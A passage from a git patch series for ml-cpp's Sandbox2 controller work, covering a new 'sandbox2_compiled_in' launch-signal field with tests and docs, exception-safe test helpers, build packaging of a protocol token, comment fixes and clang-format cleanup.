valid now that an additive field follows mode. --- bin/controller/CProcessSpawnerRouter.cc | 20 ++++++++ .../unittest/CProcessSpawnerRouterTest.cc | 47 ++++++++++++++++++- docs/sandbox2_production_failure_modes.md | 5 +- 3 files changed, 68 insertions(+), 4 deletions(-) diff --git a/bin/controller/CProcessSpawnerRouter.cc b/bin/controller/CProcessSpawnerRouter.cc index 24fa7794ef..332e456112 100644 --- a/bin/controller/CProcessSpawnerRouter.cc +++ b/bin/controller/CProcessSpawnerRouter.cc @@ -12,6 +12,7 @@ #include +#include #include #include @@ -26,6 +27,12 @@ namespace { //! boost::program_options for a single optional field. Returns "" if //! absent. Independent of any --disableSandbox scan - this never mutates //! or consumes \p args. +//! +//! Only matches the "=" form ("--modelid="), not the space-separated +//! "--modelid " form boost::program_options also accepts elsewhere +//! in this codebase: the "=" form is the wire contract PR F's ES-side +//! observability code relies on for model_id in the sandbox2_launch signal +//! (docs/sandbox2_production_failure_modes.md). std::string scanModelId(const ml::controller::CProcessSpawnerRouter::TStrVec& args) { const std::string prefix{"--modelid="}; for (const auto& arg : args) { @@ -155,6 +162,18 @@ void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, legacyReasonField = std::string{",\"legacy_reason\":\""} + reason + "\""; } + // Additive field, emitted on *every* signal line regardless of route: + // a build-time-constant fact (backed by CMlSandboxAvailability, itself + // backed by the SANDBOX2_AVAILABLE compile definition), not per-launch + // state, so it is computed once here rather than threaded through as a + // parameter. Lets a consumer (PR F's rollout logic) distinguish a + // Linux build that has Sandbox2 support but is dormant (route == + // "legacy", legacy_reason == "dormant_default", sandbox2_compiled_in == + // true) from a build with no Sandbox2 support at all + // (sandbox2_compiled_in == false) - the two are otherwise + // indistinguishable from the H4 signal alone. + static const bool sandbox2CompiledIn{sandbox::CMlSandboxAvailability::isCompiledIn()}; + std::ostringstream signal; signal << "{\"event\":\"sandbox2_launch\"" << ",\"deployment_id\":\"" << jsonEscape(deploymentId) << "\"" @@ -163,6 +182,7 @@ void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, << legacyReasonField << ",\"sandbox2_established\":" << (sandbox2Established ? "true" : "false") << ",\"mode\":\"" << mode << "\"" + << ",\"sandbox2_compiled_in\":" << (sandbox2CompiledIn ? "true" : "false") << "}"; LOG_INFO(<< signal.str()); } diff --git a/bin/controller/unittest/CProcessSpawnerRouterTest.cc b/bin/controller/unittest/CProcessSpawnerRouterTest.cc index c0905ee315..f9b80ccc00 100644 --- a/bin/controller/unittest/CProcessSpawnerRouterTest.cc +++ b/bin/controller/unittest/CProcessSpawnerRouterTest.cc @@ -99,12 +99,24 @@ void assertDispatchCopiesFile(ml::controller::CProcessSpawnerRouter& router, //! returning - callers must not leak the redirect into later test cases. //! \return everything logged while \p fn ran, so the caller can search for //! the H4 signal's JSON line as a substring. + +//! RAII guard ensuring ml::core::CLogger::instance().reset() always runs, +//! even if the captured function throws (e.g. a failed BOOST_REQUIRE* +//! inside it) - without this, an exception mid-fn() would leave the global +//! logger redirected into a stream nobody reads for the rest of the test +//! binary process, causing misleading cascading failures/log loss in later, +//! unrelated tests. +class CScopedLoggerReset { +public: + ~CScopedLoggerReset() { ml::core::CLogger::instance().reset(); } +}; + template std::string captureLogged(FN&& fn) { auto stream = boost::make_shared(); BOOST_TEST_REQUIRE(ml::core::CLogger::instance().reconfigure(stream)); + CScopedLoggerReset resetOnExit; fn(); - ml::core::CLogger::instance().reset(); return stream->str(); } @@ -337,7 +349,10 @@ BOOST_AUTO_TEST_CASE(testH4SignalEscapesControlCharactersInDeploymentId) { // ...and the raw control characters are gone from the emitted line. const std::size_t signalStart{logged.find("{\"event\":\"sandbox2_launch\"")}; BOOST_TEST_REQUIRE(signalStart != std::string::npos); - const std::size_t signalEnd{logged.find("\"mode\":\"degraded\"}", signalStart)}; + // "}" (not "degraded\"}") because sandbox2_compiled_in is an additive + // field emitted after mode, so the line no longer ends immediately + // after "degraded". + const std::size_t signalEnd{logged.find('}', signalStart)}; BOOST_TEST_REQUIRE(signalEnd != std::string::npos); BOOST_REQUIRE(logged.find('\n', signalStart) > signalEnd); } @@ -475,6 +490,34 @@ BOOST_AUTO_TEST_CASE(testH4SignalLegacyReasonDormantDefault) { BOOST_REQUIRE(logged.find("\"legacy_reason\":\"kill_switch\"") == std::string::npos); } +BOOST_AUTO_TEST_CASE(testH4SignalIncludesSandboxCompiledInField) { + // sandbox2_compiled_in is a build-time-constant fact (backed by + // sandbox::CMlSandboxAvailability::isCompiledIn()), not per-launch + // state, so - unlike legacy_reason - it must appear on every emitted + // signal line regardless of route/mode. It is what lets a consumer + // distinguish "Sandbox2 supported but dormant" from "built without + // Sandbox2 support at all", which the other fields alone cannot. + ml::controller::CProcessSpawnerRouter::TStrVec permittedPaths; // spawn fails deterministically + ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; + ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; + + ml::controller::CProcessSpawnerRouter::TStrVec args{"--modelid=deploy-compiled-in"}; + ml::core::CProcess::TPid childPid{0}; + std::string logged{captureLogged([&] { + BOOST_REQUIRE_EQUAL( + false, + router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, PROCESS_PATH, + args, childPid, + ml::controller::CProcessSpawnerRouter::ELegacyReason::E_DormantDefault)); + })}; + +#ifdef SANDBOX2_AVAILABLE + BOOST_REQUIRE(logged.find("\"sandbox2_compiled_in\":true") != std::string::npos); +#else + BOOST_REQUIRE(logged.find("\"sandbox2_compiled_in\":false") != std::string::npos); +#endif +} + #ifndef SANDBOX2_AVAILABLE BOOST_AUTO_TEST_CASE(testH4SignalNoLegacyReasonOnSandbox2Route) { // legacy_reason is omitted entirely - not emitted as "" or null - on diff --git a/docs/sandbox2_production_failure_modes.md b/docs/sandbox2_production_failure_modes.md index 8449012078..bcb83003e0 100644 --- a/docs/sandbox2_production_failure_modes.md +++ b/docs/sandbox2_production_failure_modes.md @@ -35,6 +35,7 @@ single-line JSON object. | `legacy_reason` | string | **Only present when `route == "legacy"`** (equivalently, `mode == "degraded"`); **omitted entirely** - never `""`, never `null` - on `route == "sandbox2"`, i.e. on both `enforced` and `fail_closed`. `"kill_switch"` when a validated `--disableSandbox` token selected the legacy route, `"dormant_default"` when no token was needed and `ML_SANDBOX2_DEFAULT_ENFORCED` simply is not enabled. Provenance is passed in by `CCommandProcessor` (the only place it is known); the router never derives it from `args`. | | `sandbox2_established` | boolean | JSON boolean (`true`/`false`, never the string `"y"`/`"n"`). `true` iff `mode == "enforced"`, else `false`. | | `mode` | string | One of `"enforced"`, `"fail_closed"`, `"degraded"` - see mapping below. | +| `sandbox2_compiled_in` | boolean | JSON boolean. Sourced from `sandbox::CMlSandboxAvailability::isCompiledIn()`, computed once (a build-time-constant fact, not per-launch state) and included on **every** emitted line, unlike `legacy_reason` which is conditional on route. Lets a consumer distinguish "Sandbox2 supported but dormant" (`route == "legacy"`, `legacy_reason == "dormant_default"`, `sandbox2_compiled_in == true`) from "built without Sandbox2 support at all" (`sandbox2_compiled_in == false`) - both otherwise emit identical `legacy`/`dormant_default`/`degraded` signals for every plain launch. | `legacy_reason` exists because `mode == "degraded"` alone conflates a deliberate operator kill-switch launch with the dormant default that is in @@ -108,8 +109,8 @@ the same time the default stops being legacy. Example: ```json -{"event":"sandbox2_launch","deployment_id":"a1b2c3","model_id":"my-model","route":"sandbox2","sandbox2_established":true,"mode":"enforced"} -{"event":"sandbox2_launch","deployment_id":"a1b2c3","model_id":"my-model","route":"legacy","legacy_reason":"dormant_default","sandbox2_established":false,"mode":"degraded"} +{"event":"sandbox2_launch","deployment_id":"a1b2c3","model_id":"my-model","route":"sandbox2","sandbox2_established":true,"mode":"enforced","sandbox2_compiled_in":true} +{"event":"sandbox2_launch","deployment_id":"a1b2c3","model_id":"my-model","route":"legacy","legacy_reason":"dormant_default","sandbox2_established":false,"mode":"degraded","sandbox2_compiled_in":true} ``` Emission site: `bin/controller/CProcessSpawnerRouter.cc`, From 1e05b72a89719f7db7a28b49785e65852ef65a97 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Thu, 10 Sep 2026 08:46:50 +0200 Subject: [PATCH 19/36] [ML] Ship controller-protocol.version in the nodeps zip too (review Fix 5) noDependenciesSpec's include-list didn't name controller-protocol.version, so the H2 capability token was present in buildDependenciesZip's output but absent from buildNoDependenciesZip's - yet the controller binary the token makes claims about ships only in the nodeps zip. A build combining a locally-built nodeps with a downloaded deps snapshot could assert the token from a different ml-cpp revision than the actual controller. dependenciesSpec already ships it implicitly (no matching exclude); add it explicitly to noDependenciesSpec's whitelist so it's present in BOTH zips, per the original plan's "excluded from neither" acceptance bar. --- build.gradle | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/build.gradle b/build.gradle index 65f8701350..9d19d716fb 100644 --- a/build.gradle +++ b/build.gradle @@ -430,6 +430,15 @@ def noDependenciesSpec(source) { include "**/date_time_zonespec.csv" // Copy licenses include "**/licenses/**" + // Copy the controller protocol/capability token (published at the + // zip root by buildZip - see its comment) into the nodeps zip too: + // the controller binary the token makes claims about ships only in + // this zip, so a build combining a locally-built nodeps with a + // downloaded deps snapshot must not assert the token from a + // different ml-cpp revision than the actual controller. dependenciesSpec + // above ships it too, via its lack of a matching exclude - this makes + // it present in BOTH zips, excluded from neither. + include "controller-protocol.version" includeEmptyDirs = false } } From cfabd0f355781de44b6649a6c0cbff82b6228f8a Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Thu, 10 Sep 2026 08:46:59 +0200 Subject: [PATCH 20/36] [ML] Make captureLogged()/env-var test helpers exception-safe (review Fixes 8, 9) captureLogged() in CCommandProcessorTest.cc and CProcessSpawnerRouterTest.cc did reconfigure(stream); fn(); CLogger::instance().reset() - if fn() threw (e.g. a failed BOOST_REQUIRE* inside it), reset() never ran, leaving the global logger redirected into a stream nobody reads for the rest of the test binary process. Add a local CScopedLoggerReset RAII guard to each file so reset() always runs. testMlSandboxedStrippedFromChildEnvironment in CDetachedProcessSpawnerTest.cc set ML_SANDBOXED/ML_SANDBOXED_KEEP_ME and only unset them at the end of the test function - an earlier BOOST_REQUIRE failure would skip the unset calls and leak the marker into later tests in the same process. Add a CScopedEnvVar RAII guard (same idiom as CScopedSandbox2DefaultEnforced/CScopedChildIpcRoot elsewhere in this PR) and use it instead of manual setEnv/unSetEnv. --- bin/controller/unittest/CCommandProcessorTest.cc | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/bin/controller/unittest/CCommandProcessorTest.cc b/bin/controller/unittest/CCommandProcessorTest.cc index 72f1894955..672804926e 100644 --- a/bin/controller/unittest/CCommandProcessorTest.cc +++ b/bin/controller/unittest/CCommandProcessorTest.cc @@ -73,12 +73,24 @@ class CScopedSandbox2DefaultEnforced { //! Redirect the logger to a string stream for the duration of \p fn, so a //! test can assert on the router's H4 sandbox2_launch signal (the same //! capture style bin/controller/unittest/CProcessSpawnerRouterTest.cc uses). + +//! RAII guard ensuring ml::core::CLogger::instance().reset() always runs, +//! even if the captured function throws (e.g. a failed BOOST_REQUIRE* +//! inside it) - without this, an exception mid-fn() would leave the global +//! logger redirected into a stream nobody reads for the rest of the test +//! binary process, causing misleading cascading failures/log loss in later, +//! unrelated tests. +class CScopedLoggerReset { +public: + ~CScopedLoggerReset() { ml::core::CLogger::instance().reset(); } +}; + template std::string captureLogged(FN&& fn) { auto stream = boost::make_shared(); BOOST_TEST_REQUIRE(ml::core::CLogger::instance().reconfigure(stream)); + CScopedLoggerReset resetOnExit; fn(); - ml::core::CLogger::instance().reset(); return stream->str(); } } From 585be2837c8b9d328b9eedb00d6e0599f75ad92b Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Thu, 10 Sep 2026 08:47:14 +0200 Subject: [PATCH 21/36] [ML] Distinguish absent/present userns capability in fail_closed mode (review Fix 10) ML_SANDBOX2_REQUIRE=fail_closed asserted BOOST_TEST_REQUIRE(!probeSucceeded) - i.e. it required userns capability to be UNAVAILABLE. MG6's accepted risk names its own revisit trigger as "when a userns-capable x86_64 CI runner becomes available" - the day that happens, this assertion would flip to failing and look exactly like a regression rather than an environment improvement. Distinguish three outcomes instead: harness/exec broken (unchanged, still a hard failure via the existing E_ExecFailure branch), userns genuinely absent (expected, log and pass), and userns now available (log a clear, actionable message pointing at MG6's revisit trigger, but do not fail the build). --- .../CSandboxUserNamespaceProbeTest_Linux.cc | 25 ++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc b/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc index b4629b6632..ebb94e7e93 100644 --- a/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc +++ b/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc @@ -132,7 +132,30 @@ BOOST_AUTO_TEST_CASE(testMatchesRequiredMode) { } if (std::strcmp(mode, "fail_closed") == 0) { - BOOST_TEST_REQUIRE(!probeSucceeded); + // fail_closed pins the *absence* of userns capability as the tested + // condition (see the file-level comment). MG6's accepted risk names + // its own revisit trigger as "when a userns-capable x86_64 CI + // runner becomes available" - the day that happens, a runner + // acquiring a capability is an environment improvement, not a + // regression, so it must not look like this test broke. Distinguish + // three outcomes rather than a single BOOST_TEST_REQUIRE(!probeSucceeded): + // - harness/exec broken: already a hard failure via the + // E_ExecFailure branch above, unaffected by this branch. + // - environment genuinely lacks userns capability (the expected, + // currently-universal case): log and pass. + // - environment now HAS userns capability: emit a clear, + // actionable message, but do NOT fail the build - acquiring a + // capability is not a regression. + if (probeSucceeded) { + BOOST_TEST_MESSAGE( + "userns capability is now available on this host (ml_sandbox_userns_probe " + "succeeded under ML_SANDBOX2_REQUIRE=fail_closed); consider re-pinning " + "enforced coverage here per the MG6 accepted-risk's revisit trigger " + "(no userns-capable x86_64 CI runner exists yet)"); + } else { + BOOST_TEST_MESSAGE("ml_sandbox_userns_probe fail_closed check: userns capability " + "genuinely absent, as expected"); + } return; } From 3370be0ddbce4be7fc3e0f3e9ec2feaaf0a4026c Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Thu, 10 Sep 2026 08:47:34 +0200 Subject: [PATCH 22/36] [ML] Polish: stale comments and _GNU_SOURCE redefinition guard (review nice-to-haves) - CSystemCallFilter.h / CSeccompFilterBuilderTest.cc: reword "now that hard termination is active" to the conditional "once TERMINATE_ON_DEGRADED_SECCOMP_FAILURE is activated" - stale from an earlier fix round that flipped the constant to true, since reverted to false. Matches Main.cc's already-correct phrasing. - lib/sandbox/CMakeLists.txt: update the stale "No controller or pytorch_inference routing depends on it yet" comment - PR E's CProcessSpawnerRouter (linked via bin/controller/CMakeLists.txt's MlSandbox) and pytorch_inference's seccomp path are exactly that wiring, landed in this PR. - ml_sandbox_userns_probe.cc: guard #define _GNU_SOURCE with #ifndef _GNU_SOURCE - g++ already predefines it on glibc targets, causing a macro-redefinition warning. --- include/seccomp/CSystemCallFilter.h | 2 +- lib/sandbox/CMakeLists.txt | 11 +++++++---- .../unittest/payloads/ml_sandbox_userns_probe.cc | 6 +++++- lib/seccomp/unittest/CSeccompFilterBuilderTest.cc | 2 +- 4 files changed, 14 insertions(+), 7 deletions(-) diff --git a/include/seccomp/CSystemCallFilter.h b/include/seccomp/CSystemCallFilter.h index 584e754532..fac3cde7e9 100644 --- a/include/seccomp/CSystemCallFilter.h +++ b/include/seccomp/CSystemCallFilter.h @@ -181,7 +181,7 @@ struct SInProcessFilterResult { //! marker is produced, regardless of what an installation attempt //! would have returned. Installing an in-process filter from inside //! an already-sandboxed environment can fail (which would kill every -//! enforced-route launch now that hard termination is active) or +//! enforced-route launch once TERMINATE_ON_DEGRADED_SECCOMP_FAILURE is activated) or //! succeed and mislabel the launch as legacy. //! \param terminateOnFailure passed through to decideDegradedModeAction(). //! \param installer invoked at most once; normally diff --git a/lib/sandbox/CMakeLists.txt b/lib/sandbox/CMakeLists.txt index 06a316469e..85a0c39c5f 100644 --- a/lib/sandbox/CMakeLists.txt +++ b/lib/sandbox/CMakeLists.txt @@ -10,10 +10,13 @@ # # MlSandbox links Sandbox2/Abseil and builds a runnable Sandbox2 forkserver -# on Linux, and now a typed filesystem/network launch policy for a -# pytorch_inference child. No controller or pytorch_inference routing -# depends on it yet - the process spawner and controller wiring land in -# follow-up PRs. +# on Linux (PR A), and now the typed filesystem/network launch policy (PR C +# of the Sandbox2 clean rebuild plan, see docs/projects/mlcpp-sandbox2-pr2873 +# in the elastic-workspace harness). PR E (bin/controller/CProcessSpawnerRouter, +# see bin/controller/CMakeLists.txt's MlSandbox link) is that controller +# wiring; pytorch_inference's in-process seccomp path +# (include/seccomp/CSystemCallFilter.h) consults this library's +# CMlSandboxAvailability query too. project("ML Sandbox") diff --git a/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc b/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc index 6dbc3e393e..4be750445c 100644 --- a/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc +++ b/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc @@ -41,8 +41,12 @@ // unshare() and the CLONE_NEWUSER/CLONE_NEWNS/CLONE_NEWPID constants are GNU // extensions gated behind _GNU_SOURCE in glibc's ; define it // explicitly (must precede any system header include) rather than relying on -// libstdc++ defining it implicitly for this translation unit. +// libstdc++ defining it implicitly for this translation unit. Guarded +// because g++ already predefines it on glibc targets - an unconditional +// #define here would trigger a macro-redefinition warning. +#ifndef _GNU_SOURCE #define _GNU_SOURCE +#endif #include #include diff --git a/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc b/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc index 94d9272114..77fa09477d 100644 --- a/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc +++ b/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc @@ -283,7 +283,7 @@ BOOST_AUTO_TEST_CASE(testInProcessFilterSkippedEntirelyForSandbox2LaunchedChild) // termination may be derived and no attestation marker may be produced - // and that must hold for every outcome an installation attempt could // have returned, including the failure classes that would otherwise - // terminate the launch now that hard termination is active. + // terminate the launch once TERMINATE_ON_DEGRADED_SECCOMP_FAILURE is activated. const ESystemCallFilterInstallOutcome allOutcomes[]{ ESystemCallFilterInstallOutcome::E_Installed, ESystemCallFilterInstallOutcome::E_MechanismUnavailable, From 793dc6b64c695c7cc659754d65060bf264b170a2 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Thu, 10 Sep 2026 10:02:11 +0200 Subject: [PATCH 23/36] [ML] Apply clang-format 5.0.1 to files touched across PR E's fix rounds CI's "Validate formatting with clang-format" check requires exactly clang-format 5.0.1 (docker.elastic.co/ml-dev/ml-check-style:2); several fix-round subagents on this branch could only verify with a newer local clang-format and disclosed the gap. Whitespace/line-wrap only, no logic change - confirmed via `git diff -w` and by re-running ml_test_controller and ml_test_seccomp before and after (same 6 pre-existing, unrelated local-environment failures in both). --- bin/controller/CCommandProcessor.cc | 10 +-- bin/controller/CProcessSpawnerRouter.cc | 38 +++++---- bin/controller/Main.cc | 4 +- .../unittest/CCommandProcessorTest.cc | 79 +++++++++++-------- .../unittest/CProcessSpawnerRouterTest.cc | 78 +++++++++--------- bin/pytorch_inference/Main.cc | 3 +- lib/core/CDetachedProcessSpawner_Windows.cc | 11 ++- .../unittest/CDetachedProcessSpawnerTest.cc | 6 +- .../CSandboxUserNamespaceProbeTest_Linux.cc | 9 +-- .../payloads/ml_sandbox_userns_probe.cc | 12 +-- .../unittest/CSeccompFilterBuilderTest.cc | 13 ++- 11 files changed, 135 insertions(+), 128 deletions(-) diff --git a/bin/controller/CCommandProcessor.cc b/bin/controller/CCommandProcessor.cc index fa7a49fc6a..333864534e 100644 --- a/bin/controller/CCommandProcessor.cc +++ b/bin/controller/CCommandProcessor.cc @@ -55,8 +55,7 @@ CCommandProcessor::CCommandProcessor(const TStrVec& permittedProcessPaths, : m_Spawner{permittedProcessPaths, sandboxedProcessPaths}, m_Sandbox2DefaultEnabled{sandbox2DefaultEnforced()}, m_ResponseWriter{responseStream} { if (m_Sandbox2DefaultEnabled) { - LOG_INFO(<< SANDBOX2_DEFAULT_ENFORCED_ENV - << "=1: a start command with no " << DISABLE_SANDBOX_TOKEN + LOG_INFO(<< SANDBOX2_DEFAULT_ENFORCED_ENV << "=1: a start command with no " << DISABLE_SANDBOX_TOKEN << " token requires Sandbox2 for configured sandboxed process paths"); } } @@ -169,10 +168,9 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { if (isConfiguredSandboxedPath && m_Sandbox2DefaultEnabled == false) { route = CProcessSpawnerRouter::ERoute::E_Legacy; legacyReason = CProcessSpawnerRouter::ELegacyReason::E_DormantDefault; - LOG_DEBUG(<< "Routing '" << processPath - << "' to the legacy path: no " << DISABLE_SANDBOX_TOKEN - << " token and " << SANDBOX2_DEFAULT_ENFORCED_ENV - << " is not set to 1"); + LOG_DEBUG(<< "Routing '" << processPath << "' to the legacy path: no " + << DISABLE_SANDBOX_TOKEN << " token and " + << SANDBOX2_DEFAULT_ENFORCED_ENV << " is not set to 1"); } } else if (disableSandboxCount == 1) { if (isConfiguredSandboxedPath == false) { diff --git a/bin/controller/CProcessSpawnerRouter.cc b/bin/controller/CProcessSpawnerRouter.cc index 332e456112..7ffa367158 100644 --- a/bin/controller/CProcessSpawnerRouter.cc +++ b/bin/controller/CProcessSpawnerRouter.cc @@ -113,20 +113,20 @@ namespace ml { namespace controller { CProcessSpawnerRouter::CProcessSpawnerRouter(const TStrVec& permittedProcessPaths, - const TStrVec& sandboxedProcessPaths) + const TStrVec& sandboxedProcessPaths) : m_LegacySpawner{permittedProcessPaths}, m_SandboxedProcessPaths{sandboxedProcessPaths} { } bool CProcessSpawnerRouter::isSandboxedProcessPath(const std::string& processPath) const { - return std::find(m_SandboxedProcessPaths.begin(), m_SandboxedProcessPaths.end(), processPath) != - m_SandboxedProcessPaths.end(); + return std::find(m_SandboxedProcessPaths.begin(), m_SandboxedProcessPaths.end(), + processPath) != m_SandboxedProcessPaths.end(); } void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, - ELegacyReason legacyReason, - const std::string& deploymentId, - const TStrVec& args, - bool spawnSucceeded) const { + ELegacyReason legacyReason, + const std::string& deploymentId, + const TStrVec& args, + bool spawnSucceeded) const { const bool isLegacyRoute{route == ERoute::E_Legacy}; // Controller ruling (binding, PR E Task 4): degraded is decided purely @@ -149,8 +149,7 @@ void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, // "fail_closed" modes, since neither can have a legacy reason. std::string legacyReasonField; if (isLegacyRoute) { - const char* reason{legacyReason == ELegacyReason::E_KillSwitch ? "kill_switch" - : "dormant_default"}; + const char* reason{legacyReason == ELegacyReason::E_KillSwitch ? "kill_switch" : "dormant_default"}; if (legacyReason == ELegacyReason::E_NotLegacy) { // A caller that routed to legacy without naming why: report the // dormant default (the overwhelmingly common case during the @@ -188,10 +187,10 @@ void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, } bool CProcessSpawnerRouter::spawn(ERoute route, - const std::string& processPath, - const TStrVec& args, - core::CProcess::TPid& childPid, - ELegacyReason legacyReason) { + const std::string& processPath, + const TStrVec& args, + core::CProcess::TPid& childPid, + ELegacyReason legacyReason) { // The H4 signal (design.md §Failure behavior and observability) fires // only for processes actually eligible for sandboxing - never for // unrelated permitted processes like autodetect - and exactly once per @@ -205,7 +204,8 @@ bool CProcessSpawnerRouter::spawn(ERoute route, // post-spawn second derivation is not equivalent. Skipped entirely for // processes that can never emit the signal, so unrelated permitted // processes (autodetect etc.) pay no ::realpath() cost. - const std::string deploymentId{sandboxEligible ? deriveDeploymentId(args) : std::string()}; + const std::string deploymentId{sandboxEligible ? deriveDeploymentId(args) + : std::string()}; bool spawned{false}; if (route == ERoute::E_Legacy) { @@ -218,13 +218,12 @@ bool CProcessSpawnerRouter::spawn(ERoute route, // was; CCommandProcessor logs that provenance at the point it is // actually known, and passes it in as legacyReason purely so the H4 // signal below can report it. - LOG_INFO(<< "Launching '" << processPath - << "' without Sandbox2 (legacy route selected by the controller); " + LOG_INFO(<< "Launching '" << processPath << "' without Sandbox2 (legacy route selected by the controller); " << "the in-process seccomp filter applies"); spawned = m_LegacySpawner.spawn(processPath, args, childPid); } else if (sandboxEligible) { - // route == ERoute::E_Sandbox2, and processPath is configured as - // sandboxed. + // route == ERoute::E_Sandbox2, and processPath is configured as + // sandboxed. #ifdef SANDBOX2_AVAILABLE // No automatic fallback to the legacy spawner on a Sandbox2 // failure (V2, MG1): a process that must be sandboxed either @@ -237,8 +236,7 @@ bool CProcessSpawnerRouter::spawn(ERoute route, // platform - fail closed and say why, rather than silently falling // through to the legacy spawner as the frozen router's #ifdef // Linux masked this exact case by doing. - LOG_ERROR(<< "Refusing to launch '" << processPath - << "': configured as a sandboxed process path, but this " + LOG_ERROR(<< "Refusing to launch '" << processPath << "': configured as a sandboxed process path, but this " << "build was not compiled with Sandbox2 support"); spawned = false; #endif diff --git a/bin/controller/Main.cc b/bin/controller/Main.cc index 5a5505bb41..f0e3b39141 100644 --- a/bin/controller/Main.cc +++ b/bin/controller/Main.cc @@ -215,8 +215,8 @@ int main(int argc, char** argv) { // Windows, or a Linux build without Sandbox2 support. ml::controller::CCommandProcessor::TStrVec sandboxedProcessPaths{"./pytorch_inference"}; - ml::controller::CCommandProcessor processor{permittedProcessPaths, sandboxedProcessPaths, - *outputStream}; + ml::controller::CCommandProcessor processor{ + permittedProcessPaths, sandboxedProcessPaths, *outputStream}; processor.processCommands(*commandStream); cancellerThread.stop(); diff --git a/bin/controller/unittest/CCommandProcessorTest.cc b/bin/controller/unittest/CCommandProcessorTest.cc index 672804926e..b65f9fb451 100644 --- a/bin/controller/unittest/CCommandProcessorTest.cc +++ b/bin/controller/unittest/CCommandProcessorTest.cc @@ -264,7 +264,8 @@ BOOST_AUTO_TEST_CASE(testMissingId) { namespace { //! Build a tab-separated "start" command for \p processPath with \p args. -std::string startCommand(std::uint32_t id, const std::string& processPath, +std::string startCommand(std::uint32_t id, + const std::string& processPath, const std::vector& args) { std::string command{ml::core::CStringUtils::typeToString(id) + '\t' + ml::controller::CCommandProcessor::START + '\t' + processPath}; @@ -293,11 +294,12 @@ BOOST_AUTO_TEST_CASE(testStartRejectsDuplicateDisableSandboxTokenOnSandboxedPath { ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; - ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; - std::string command{startCommand( - 10, PROCESS_PATH, - {"-c", "cp " + INPUT_FILE1 + " " + OUT, "--disableSandbox", "--disableSandbox"})}; + std::string command{startCommand(10, PROCESS_PATH, + {"-c", "cp " + INPUT_FILE1 + " " + OUT, + "--disableSandbox", "--disableSandbox"})}; BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); } @@ -320,11 +322,12 @@ BOOST_AUTO_TEST_CASE(testStartRejectsDuplicateDisableSandboxTokenOnNonSandboxedP { ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor::TStrVec sandboxedPaths; // empty - ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; - std::string command{startCommand( - 11, PROCESS_PATH, - {"-c", "cp " + INPUT_FILE1 + " " + OUT, "--disableSandbox", "--disableSandbox"})}; + std::string command{startCommand(11, PROCESS_PATH, + {"-c", "cp " + INPUT_FILE1 + " " + OUT, + "--disableSandbox", "--disableSandbox"})}; BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); } @@ -347,7 +350,8 @@ BOOST_AUTO_TEST_CASE(testStartRejectsDisableSandboxTokenOnNonSandboxedPath) { { ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor::TStrVec sandboxedPaths; // empty: PROCESS_PATH not sandboxed - ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; std::string command{startCommand( 12, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + OUT, "--disableSandbox"})}; @@ -375,11 +379,11 @@ BOOST_AUTO_TEST_CASE(testStartStripsDisableSandboxTokenForConfiguredSandboxedPat { ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; - ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; std::string command{startCommand( - 13, PROCESS_PATH, - {"-c", "echo $# > " + OUT, "argv0name", "--disableSandbox"})}; + 13, PROCESS_PATH, {"-c", "echo $# > " + OUT, "argv0name", "--disableSandbox"})}; BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); } @@ -413,7 +417,8 @@ BOOST_AUTO_TEST_CASE(testStartLeavesArgsUntouchedWhenTokenAbsent) { { ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; 